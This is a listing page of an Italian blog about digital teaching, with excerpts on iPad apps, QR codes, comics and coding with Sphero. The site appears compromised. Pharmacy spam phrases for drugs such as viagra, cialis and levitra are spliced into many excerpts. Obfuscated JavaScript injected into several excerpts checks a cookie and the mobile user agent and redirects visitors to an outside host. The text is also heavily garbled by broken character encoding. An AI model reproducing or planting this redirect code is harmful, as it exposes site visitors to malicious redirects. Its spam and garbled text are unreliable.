CI SIAMO TRASFERITI!
Cari amici di classi 20, da fine gennaio 2018, ci trasferiamo sul sito abc.it.
Niente panico! Il sito di classi 20 rimarrà attivo per mantenere gli articoli pubblicati fino ad ora.
Siete curiosi di scoprire il nuovo portale dedicato alla didattica digitale?
Seguiteci su abc.it progetto EduCare (powered by REKORDATA) a breve pubblicheremo i nuovi aggiornamenti dedicati al mondo education.
Stay Tuned!

Risorse 2.0

Serena Zanotti

Un Open Day lungo 360 giorni. Didattica di prossimitAi??

La Scuola presentata dagli Studenti Un OpenDay speciale, lungo 360 giorni? Si, A? possibile se si pensa a un tour originale virtuale da vivere a scuola e online. Ecco lo spunto di partenza. In occasione dellai??i??Open Day ho pensato che sarebbe stato bello se a presentare la scuola fossero proprio gli studenti, in prima persona, […]

Continua ...
Cesare Benedetti

Gli alberi “parlano”. Didattica di prossimitAi?? con i QR code.

QR Code Ai?? l’abbreviazione di Quick Response Code. Si tratta di un codice a barre di forma quadrata e puA? memorizzare informazioni che possono essere lette tramite smartphone e tablet. Dal marketing… Nato come supporto al Mobile Marketing ora i QR code sono utilizzati come vero e proprio strumento di comunicazione di prossimitAi??, questo perchAi?? […]

Continua ...
Justin Bell

Studiare la grammatica con codici QR e Tellagami

Justin Bell, insegnante del Kansas (USA), ha creato un foglio di regole grammaticali che parte dagli errori piA? comuni dei suoi studenti. Si tratta di una specie di alfabeto e serie numerica di regole spiegate attraverso errori e frasi corrette, con codici QR e video – tutorial in Tellagami. Scarica il documento in PDF PuA? […]

Continua ...
Chiara Ferronato

Allievi DSA. Come creare mappe con iPad

Questa esperienza nasce dalla mia attivitAi?? di formazione volta ai ragazzi DSA che usano l’i-Pad a scuola e dalle esperienze didattiche con le mie classi, in modalitAi?? BYOD. cost of levaquin without insurance. does levitra make you bigger. Il percorso propone tre valide applicazioni ( Popplet, Mindomo e Supermappe) fra le tante offerte. Ne riassume […]

Continua ...
Alberto Pian

Cyberbuilling Out! l’eBook per un corso completo sul cyberbullismo, ora gratis!

Questo corso vi insegna ad affrontare il tema della cittadinanza digitale e del cyberbullismo con i vostri studenti o con i vostri colleghi con metodologie attive e induttive, articolate in cinque ai???lessonai???. Alberto Pian. ai???Cyberbullying Outai???. Centro Leonardo, 2015. iBooks. Scaricalo gratis da iBook Store https://itun.es/it/WJui5.l In questo corso scopriremo: rxpills cialis. Ai??i valori della […]

Continua ...

world – Steve Bambury

puerto rico board of pharmacy. “Ho lavorato come filmmaker indipendente prima di diventare un insegnanteAi??vincendo dei premi con ilAi??cortometraggio “Spirit School.” Nel 2013, ho fondato il sito iPad educatori (www.ipadeducators.com) con il collega ADEAi??Luke Rees. Il sito ha raccolto consensi in tutto il mondo ed A? seguito daAi??oltre 35.000 educatori . Abbiamo fatto formazione perAi??iPad […]

Continua ...
Steve Bambury

Gamification. La classe fantasy. Un gioco di ruolo per sviluppare la collaborazione

Steve Bambury, docente britannico Ai??di scuola primaria nel Dubai, ci spiega come usare Classcraft   Steve:Ai??http://www.ipadeducators.com Classcraft:Ai??https://game.classcraft.com   Che cosa A? Classcraft? Classcraft A? una piattaforma di gestione della classe con un tema fantasy simile a giochi di ruolo (RPG) come World of Warcraft. Come funziona? I bambini sono raggruppati in team e collaborano per […]

Continua ...
Alberto Pian

StorytellinGame con StoryCube

StoryCube per iPad: https://www.storycubes.com/ A? una grande applicazione per creare storie e giochi in classe e nel gruppo. Si tratta di un’applicazione creativaAi??attraverso la quale gli insegnanti possono organizzare dei giochi basati su storie. A? possibile scegliere regole diverse. Ricordate che le buone regoleAi??fanno unAi??buon gioco. I meccanismi della storia possono essere stabiliti dai docenti […]

Continua ...
Massimo Tosi

Speciale in arrivo i progetti PON. A proposito di Didattica Multicanale e Flipped

Quando si costruiscono dei progetti che hanno a che fare con leAi??nuove tecnologie pensiamo prima di tutto adAi??”attivare” il processo di apprendimento. Gli insegnanti dovrebbero considerare che gliAi??ambienti di apprendimento tradizionali risultano obsoleti rispetto alla necessitAi?? della scuola di appropriarsi di canali di apprendimento che, se lasciati alle agenzie esterne, rischiano di indirizzare i giovani […]

Continua ...
Alessandro Pepino

Ingegneria biomedica. Per una didattica della responsabilitAi??

Attualmente ho due corsi uno di sistemi informativi sanitari e l’altroAi??di tecnologie della valutazione del recupero dellai??i??assistenza funzionale, ho concentrato la mia attenzione soprattutto su quello di sistemi informativi sanitari in quanto A? quello che maggiormente si prestava ad una attivitAi?? di tipo fortemente esercitativa. Alessandro Pepino A?Ai??Associate Professor in Biomedical Engineering, Rehabilitation Engineering, Health […]

Continua ...
Julie Willcott e Alberto Pian

L’apprendimento A? intorno a te (apprendimento di prossimitAi??). Il nuovo modo per trasmettere contenuti con Locly e iBeacon

Locly A? unai??i??applicazione che permette di configurare e di gestire i beacon. I beacon sono dei piccoli oggetti che ricevono e distribuiscono dei segnali (messaggi e documenti) quando una persona transita nelle vicinanze. La persona deve avere unai??i??applicazione specifica(in questo caso locali) Ai??per essere avvertita della presenza di un beacon. PuA? ricevere fotografie, documenti di […]

Continua ...
Alberto Pian

In classe con OSMO per creare giochi didattici

Il nuovo gioco didattico Osmo A? molto interessante e utile per insegnare in qualsiasi grado e per ogni disciplina. Il sito ufficiale di riferimento A? questo: http://www.playosmo.com Possiamo usare Osmo in classe in molti modi. Per esempio possiamo creare dei giochi per apprendere. Gli studenti stessi possono creare dei giochi molto interessanti. Per esempio, noi […]

Continua ...
Chiara Ferronato

Didattica multicanale e strumenti compensativi

Vogliamo parlare di strumenti compensativi e multicanalitAi??? Certo! Ma allora dobbiamo, prima di tutto, integrare nel nostro vocabolario didattico molti nuovi termini che, diciamo cosAi??… a scuola, negli ambienti tradizionali, non hanno avuto molta fortuna!!! Vedi on-line la presentazione creata in Prezi da Chiara Ferronato: https://prezi.com/y3ca3_un8noz/didattica-multicanale/ Scarica il Prezi: per Mac; per Win CreativitAi??: posso […]

Continua ...
Alberto Pian e Paolo Masini

#5 sfide per il cambiamento. Multi Touch Book della serie Challenge to Change

Questo libro A? il primo libro della serie Challenge to Change. Sfida al cambiamento. Fornisce a tutti gli insegnanti l’opportunitAi?? di approfondire alcuni passaggi di applicare una didattica induttiva, basata sulla ricerca, proponendoAi??sfide (Challenge Based Learning) e indagini (Inquired) agli studenti. Il libro propone 5 sfide, legate alla tassonomia di Bloom, per essere ancora piA? […]

Continua ...
Redazione

Storia. Adottare una data e creare il poster con fonti dirette

Usiamo una funzione semplice ma poco usata di pages per creare un “poster” da impiegare in molte occasioni didattiche. best cialis online pharmacy. Workflow best place to buy viagra. Cerca le fonti storiche originali (fonti dirette). Esempio: http://www.lastampa.it/archivio-storico/ Scegli la prima pagina di un significativo avvenimento che si sta studiando Apri Pages e sceglie ilAi??modello […]

Continua ...
Alberto Pian

Linee guida per la progettazione didattica (Atelier e PON)

Questo articoloAi??A? rivolto agli insegnanti che desiderano realizzare un PON per sperimentare nuove metodologie didattiche.Ai??Qui vengono presentate alcune idee di fondo che possono poi essere rielaborate nello specifico. Queste metodologie sono state ideate e/o sperimentate direttamente dall’autore in vari contesti, nazionali e internazionali.   Per sapere che cosa sono e come partecipare ai progetti PON […]

Continua ...
Alessandro Biondi

CLIL 2.0 For Maths

Fare didattica CLIL (Content and Language Integrated Learning) vuol dire insegnare una disciplina non linguistica, in lingua straniera.Ai??Se ne parla molto perchAi?? dal prossimo anno sarAi?? obbligatorio per il 5Ai?? anno di Licei e Istituti tecnici e tuttavia non A? soltanto un obbligoai??i??A? unai??i??opportunitAi??. canada rx direct. Alessandro Biondi,Ai??ingegnere nucleare, insegnate di Matematica e Fisica […]

Continua ...
Laura Manaresi

I bambini creano libri con Book Creator

Ho iniziato ad utilizzare lai??i??iPad in classe nel 2013, in una classe prima della scuola primaria.Ai??Inizialmente ho usato diverse applicazioni come Bamboo Paper, Alphabet, Pages e Numberland come supporto per lai??i??acquisizione della lettura, della scrittura, per imparare a contare e a tracciare i numeri.Ai?? gabapentin to buy without prescription. https://www.youtube.com/channel/UCEVDLrCv3XMs61P76WtkzxA/videos Ho poi introdotto Book Creator, […]

Continua ...
Diana Irene Saldana

Didattica multicanale. Il corretto approccio a Internet. Consigli di Diana Irene Saldana

Ce ne parlaAi??Diana Irene Saldana, Apple Distinguished Educator, insegnante presso lai??i??American School Foundation di Monterrey. Ci parla dell’approccio sicuro a Internet, del regolamento Aquile e ci offre otto consigli pratici che ha esposto nel suo nuovo eBook. online scrips.   Trovi Diana qui:Ai??http://dianairenesaldana.com Kid-Friendly, uso responsabile. Il regolamento Aquile. Come A? nato ilAi??regolamento aquile Gli […]

Continua ...
Alberto Pian

RealtAi?? Aumentata e album delle figurine

Avevo spiegato in questo articolo:Ai??http://classi20.it/?p=1217Ai??la tecnica dell’album delle figurine. Ho anche spiegato perchAi?? A? importante educativo. Le figurineAi??rappresentano un linguaggio straordinario. A mio parere si tratta di un linguaggio che A? a metAi?? strada tra la narrazione e la sintesi. Ma ora parliamo di come A? possibile coniugare la realtAi?? aumentata con un album di […]

Continua ...
AP

Game Lesson Team. Gamification con Explain Everything.

LESSON GAME TEAMS Descrizione Impieghiamo Explain Everithyng in tempo reale per proporre un gioco di gruppo di registrazione della lezione. AttivitAi?? Formiamo delle squadre (per esempio: 3 squadre). Ogni squadra collega l’iPad alla Apple TV. Stabiliamo la disciplina, lai??i??argomento e il campo dei contenuti. Esempio: Seconda guerra mondiale, costruzione di una Timeline audio / video. […]

Continua ...
Alberto Pian

Coding e Letteratura. Discpline umanistiche e scientifiche con il robot Sphero

Sphero A? una palla robotica manovrabile tramite iPad, i sistemi iOS e Android. PuA? essere guidataAi??manualmente combinando effetti speciali di movimento e luce, oppure puA? essere programmata. Per programmare Sphero esistono applicazioni in linguaggio a oggetti, molto semplice, o in Basic.   La sezione education di Sphero si trova a questo indirizzo:Ai??http://www.gosphero.com/education/ Twitter:Ai??https://twitter.com/SpheroEdu Ai??Applicazioni in […]

Continua ...
Lewis Hall, Emirati Arabi Uniti; Courtney Pepe, New Jersey (USA)

Coding e sfide con Sphero. Esperienze dirette

Costruire una pista e manovrare Sphero Lewis Hall Lewis Hall insegna a Shahama in una scuola secondaria degli Emirati Arabi Uniti. Con i suoi studenti ha incominciato a impiegare applicazioni per il coding e ora stanno provando alcune attivitAi?? di coding con Sphero. “Abbiamo diviso i ragazzi in piccoli gruppi. MetAi?? di loro avevano iPad […]

Continua ...
Silvio Bertone

Speciale Arte. Google Cultural Project, l’arte in classe

INTERNET: immenso territorio pieno di ogni sorta di informazioni, foto, video, progetti, social, o anche porcherie e quantai??i?? altro possa concepire la mente. Tutto a portata di click e di menti curiose. Ci passiamo tutti piA? o meno una bella fetta della giornata. Un poai??i?? per lavoro e necessita e un poai??i?? per seguire passioni […]

Continua ...
Alberto Pian

RealtAi?? Aumentata. Il museo della Letteratura.

Questa attivitAi?? deriva dalla combinazione di alcune applicazioni. PerciA? A? anche un’attivitAi?? di app smashing. Descrizione Gli studenti afrontano lo studio un certo numero di autori e di testi della Letteratura. Quindi stampano dei quadri da appendere in uno spazio della scuola. Questo spazio sarAi?? il Museo della Letteratura. Tutte le classi possono partecipare ad […]

Continua ...
Alberto Pian

iTunes U. Didattica Multicanale. Il corso gratuito.

Questo corso A? condotto da Alberto Pian ed A? rivolto agli insegnanti che desiderano aggiornarsi in modo simpatico ma efficace, per essere pronti a sperimentare nuove idee a settembre.Ai??Ti va di partecipare? Allora iscriviti! Il corso A? cominciato, ma puoi sempre recuperare, infatti tutte le lezioni sono sempre disponibili su questo canale. Il corso A? […]

Continua ...
Alfonso Carfora

Didattica multicanale. Il mandato di lavoro elaborato da Alfonso Carfora

“Il successo lo valuto nella vittoria del metodo, perchAi?? ho sperimentato che applicato correttamente ottieni lai??i??attenzione dei ragazzi e la loro collaborazione. Sono tentativi come quello la presentazione di monumenti antichi di Roma o del fumetto per lai??i??attivitAi?? di laboratorio o il mandato di lavoro e la scheda di autovalutazione dei ragazzi.” Lai??i??esperienza viene portata […]

Continua ...
Fabio di Nuzzo

Una matematica “ricavata” dai ragazzi. Ne parla Fabio di Nuzzo

E’ possibileAi??stimolare gli studenti all’apprendimento della matematica legandola a contesti reali (Real World) facendo anche impiego di metodologie induttive? Trovare nuovi modi per insegnare la matematica A? una sfida eccezionale, ma indispensabile! Domanda. Io vedo che in Italia pochissimi insegnanti applicano veramente unaAi??metodologia rivolta alla scoperta, al problem solving, induttiva. NormalmenteAi??trovano loro degli esempi da […]

Continua ...
Redazione

I bambini scrivono e illustrano libri (Rete dei Ragazzi del Fiume)

La Rete dei Ragazzi del Fiume A? una rete didattica costituita in Friuli dalla maestra Antonella Brugnoli nel 1999. Antonella Brugnoli A? la prima Apple Distinguished Educator italiana e oggi la rete rappresenta il piA? interessante esempio di cooperazione didattica fra decine e oltre un centinaioAi??di scuole in Italia e una delle piA? interessantiAi??nel mondo. […]

Continua ...
Redazione

Intervista ad Antonella Brugnoli. La Rete dei Ragazzi del fiume: una delle realtAi?? cooperative piA? importanti sulla scena internazionale

“La rete nasce nellai??i??a.s. 1999-2000 da unai??i??idea di alcuni docenti, o meglio da una forte necessitAi?? didattica. Avevamo bisogno di lavorare assieme, ma eravamo in istituti diversi, non molto distanti tra loro per cui raggiungibili in 30 minuti dai??i??auto. Abbiamo preso al volo le allora indicazioni del nostro ispettore USR dott. Luigi Torchio che ci […]

Continua ...
Redazione

Portfolio delle competenze. Divertiamoci con Numbers

Creazione di un Portfolio delle competenze digitali degli studenti brand name cialis from lilly. Applicazione:Ai??Numbers Funzione: Grafico interattivo Descrizione Usiamo ilAi??”grafico interattivo” per animare i dati di unaAi??tabellaAi??e poter controllare subito, attraverso l’interazione, le competenze digitali dei nostri allievi. Il grafico interattivo mostra i dati in modo dinamico spostando il cursore. Creare una semplice tabella […]

Continua ...
Maria Rosaria Leonardi

Explain Everything. Una lavagna per la grammatica inglese.

Ai?? Ai??”Lai??i??applicazione si A? dimostrata molto efficace per la registrazione di semplici tutorial di grammatica inglese, che rappresentassero un promemoria di quanto giAi?? appreso e consolidato in classe. I vari video sono stati poi potati nelle pagine WIKI di ciascuna classe, per poter essere visionati allai??i??occorrenza dagli alunni che intendessero ripetere le strutture grammaticali studiate, […]

Continua ...
Reshan Richards

Explayn Everything. eBook per capire, di Reshan Richards, creatore dell’applicazione.

Questi due eBook sono stati scrittiAi??da ReshanAi??Richards,Ai??Apple Distinguished Educator del New Jersey, Director of Educational TechnologyAi??pressoAi??Montclair Kimberley Academy. Sono scaricabili gratuitamente. nolvadex benefits for men. Explayn Everithyng:Ai??https://itunes.apple.com/it/book/explain-everything/id591601596?mt=11 order levothyroxine using master card. Formative Assesment and ScreencastingAi??https://itunes.apple.com/it/book/explain-everything-formative/id844630744?mt=11 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| […]

Continua ...
Micahel Hernandez

Gli studenti sono “artisti visuali”. Cinema, arte, poesia, diventano montaggio multimediale condiviso.

E’Ai??possibile combinare cinema, l’arte, la poesia, e la “teoria femminista” in un montaggio video fondato su prodottoAi??multimediale creato con un’app sociale? Michael Hernandez A? docenteAi??di Media Arts presso la Manhattan Beach Unified School District, in California (USA).Ai??EdAi??A? un noto esperto di Digital Storytelling, Mobile Journalism, e iPhoneography. E’ Apple Distinguished Educator. Ai?? Info e link:Ai??Michael […]

Continua ...
Cheryll Davis, insegnante di Storia. California (USA)

iTunes U e lo studio della Storia. Risorse selezionate da Cheryl Davis.

L’insegnante di Storia e Storica CherylAi??Davis, ci presenta una lista di risorse per lo studio della Storia presenti inAi??Ai??iTunes U. Queste risorse saranno rinnovateAi??a mano amano che la lista di Cheryl si aggiorna. Elenco ragionato di risorse in iTunes U su temi che riguardano lo studio della Storia. Modern World History the Industrial RevolutionAi??-Ai??Vern Cleary […]

Continua ...
Chiara Ferronato

English App. Applicazioni per studiare la lingua Inglese.

Raccolta e proposta di applicazioni suddivise per utilitAi??, presentata in occasione della prima Lend International Summer School e rivolta agli insegnanti di Inglese, dall’ Infanzia alla Secondaria. Vedi la presentazione Prezi creata da Chiara per laAi??primaAi??Lend International Summer School flucomed. comprar viagra por paypal. , agosto 2014 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| […]

Continua ...
Paolo Montemurro

Le soluzioni Google per il mondo della scuola

Le soluzioni Google dedicate al mondo della scuola partono da un concetto importante cioA? la focalizzazione sullai??i??insegnamento e non sulla tecnologia. In pratica Google mette gratuitamente a disposizione tool evoluti di comunicazione e collaborazioneAi?? senza gravare quindi sullai??i??aspetto economico e delle risorse umane allai??i??interno degli istituti scolastici. Approfondimento Google App Google Chromebook Google Classroom Google […]

Continua ...
Alberto Pian

Explain Everything. Tecnica di presentazione multicanale: confronto delle fonti e loro disposizione.

Questa A? una tecnica di presentazione multicanale. E’ indicata soprattutto per gli studenti che devono presentare una lezione. Disciplina Storia: confronto fra le fonti; versioni differenti; interpretazioni; oggetti storici. Scienze: confronti; comparazioni; proprietAi??; Obiettivi prednisone 5mg dose pack. Abituare gli studenti a stabilire confronti. Imparare a utilizzare diversi oggetti sulla stessa pagina. Imparare a manovrare […]

Continua ...
Redazione

Modelli di Keynote per attivitAi?? semistrutturate

In questa pagina mettiamo a disposizione alcuni modelli di Keynote che possono essere impiegati per attivitAi?? semistrutturate in classe. Modelli in AppStoreAi?? Toolbox low cost viagra canada. Theme 1000 slide Tutti i modelli in iTunes Store per iPad Elenco Carte (modello gratuito) Tema carte 09 buy citalopram no prescription cheap. Tema carte archivio zip var […]

Continua ...
Alberto Pian

Life on Earth: una incedibile collezione di libri gratuita voluta Steve Jobs. (Corrispondenza da San Diego)

San Diego, 12 – 19 luglio 2014 Apple Distinguished Institute 2014 Corrispondenza direttaAi??di Alberto Pian “Life on Earth” A? un nuovo libro di testo in sette volumi creato dalla Biodiversity Foundation E. O Wilson. I libri sono stati pubblicati l’8 luglio 2014 e sono stati presentati a San Diego a una platea di 400 insegnanti […]

Continua ...
Alberto Pian

Ambiente, didattica e Apple. Parla Lisa Jackson. (Corrispondenza da San Diego)

Corrispondenza da San Diego, 12 ai??i?? 19 luglio 2014 Apple Distinguished Institute 2014 Corrispondenza direttaAi??di Alberto Pian Quando Lisa Jackson, vicepresidente e responsabile delle iniziative ambientali si A? mostrata sul palco e ha iniziato a parlare, tutti i presenti hanno subito capito una cosa: questa donna crede fermamente nel suo lavoro e combatte davvero per […]

Continua ...
Alberto Pian

Didattica, scienza, ricerca e attivitAi?? in Real World. ADE Institut 2014. San Diego.

Come abbiamo spigatoAi??ilAi??tema che ha rappresentato il filo conduttore della settimana di San Diego, A? stato quello della biologia, della biodiversitAi?? e dell’ambiente. Questo tema ha permesso di collegare attivitAi?? scientifiche e culturali, storiche e geografiche fra loro in un’ottica multi e interdisciplinare. Qui vediamo le metodologie didattiche adottate.   Didattica in Real World Come […]

Continua ...
Alberto Pian

Cronache da San Diego. Il podcasting come strumento di partecipazione attiva.

Il podcast “Cronache da San Diego” A? stato creato con lo scopo di trasmettere, quasi in tempo reale, lo spirito e alcune riflessioni a caldo sull’evento Ade Institute di San Diego 2014. Poi A? il podcast ha continuato nelle sue trasmissioni ancora per qualche giorno, durante il soggiorno a Monterey, sulle orme di John Steinbeck. […]

Continua ...
Massimo Tosi

Fumetto nella didattica. Studiare storia creando fumetti

Il fumetto A? una delle forme espressive che caratterizzano la storia del Novecento: potremmo dire anzi che si tratta di una delle piA? originali invenzioni nel mondo della comunicazione del secolo scorso. Non A? questo il luogo per trattare di una storia del fumetto e della sua incisivitAi?? nell’ambito della comunicazione a stampa, ma basterAi?? […]

Continua ...
Italo Ravenna

Fumetto nella didattica. I bambini votano i fumetti degli studenti di Liceo

“Le mie osservazioni riguardo al progetto riguardanoAi??le dinamiche che sono scaturite dai miei alunni. Anche se di solo 8 anni A? stato semplice spiegare e coinvolgerli in questo progetto. Non parlo dal punto di vista tecnico perchAi?? usano iMac e iPad dal primo giorno di primaria ma parlo di interesse vero per la storia e […]

Continua ...
Maria Rosaria Leonardi

Fumetto nella didattica. Le preposizioni in lingua Inglese.

walmart-pharmacy-cialis-price. atomoxetine online. “Per consolidare la conoscenza delle preposizioni di luogo in lingua inglese, ho realizzato con i miei alunni un semplice libro a fumetti utilizzando lai??i??App COMIC BOOK. I ragazzi hanno fotografato se stessi in varie postazioni, al fine di spiegare in modo chiaro le preposizioni, e hanno inserito le varie immagini allai??i??interno dei […]

Continua ...
Alberto Pian

Fumetto nella didattica. Il fumetto come rappresentazione di poesie e racconti.

Presentazione Si propone una struttura preimpostataAi??in modo che ogni studente possa rappresentare il testo di riferimento con uno schema comune. La struttura deve essere la stessa per ogni studente. Alla fine si unisconoAi??tutti i fumetti in un unico album ePub / PDF Descrizione Creare con Strip Designer o con Comic Life (iPad, tablet, computer) una […]

Continua ...
Alberto Pian

Fumetto nella didattica. Creare una storia con un modello didattico

Descrizione Usiamo Strip Designer o Comic Life (iPad, tablet, computer) o applicazioni per creare fumetti che abbiano la possibilitAi?? di appiccare filtri alle immagini. Forniamo un modello semi-strutturato. Il modello si compone di 1 o 2 pagine. Ogni pagina contiene 2 o 4 immagini. Ogni pagina contiene i ballonAi??vuoti. how to get viagra discreetly. Procedura […]

Continua ...
Alberto Pian

eBook in omaggio. Fumetto nella didattica. “Istituzioni e fumetti”

Lai??i??impiego creativo di strumenti e di linguaggi differenti da quelli istituzionali in campo educativo e formativo, spesso viene giudicato come cheapest place to buy levitra. non conforme cheap propecia fast delivery. ai proessi formativi. CioA? non viene giudicato come sufficientemente ai???istituzionaleai???: teatro, cinema, fumetti, gulpini, giochi di ruolo, simulaioni, figurine, scene parlanti, strumenti diversi del […]

Continua ...
Alberto Pian

Didattica multicanale e App smashing nella tassonomia di Bloom.

buy dilantin no script. canadian pharmacies 24 hour. “La tassonomia di Bloom classica A? un ottimo punto di riferimento di una didattica multicanale che mescola fra loro differenti applicazioni per creareAi??workflow di insegnamento e di costruzione di “oggetti”. Nata oltre cinquant’anni fa, quindi in tempi non sospetti, la tassonomia A? stata piA? volte rielaborata – […]

Continua ...
1 4 5 6 7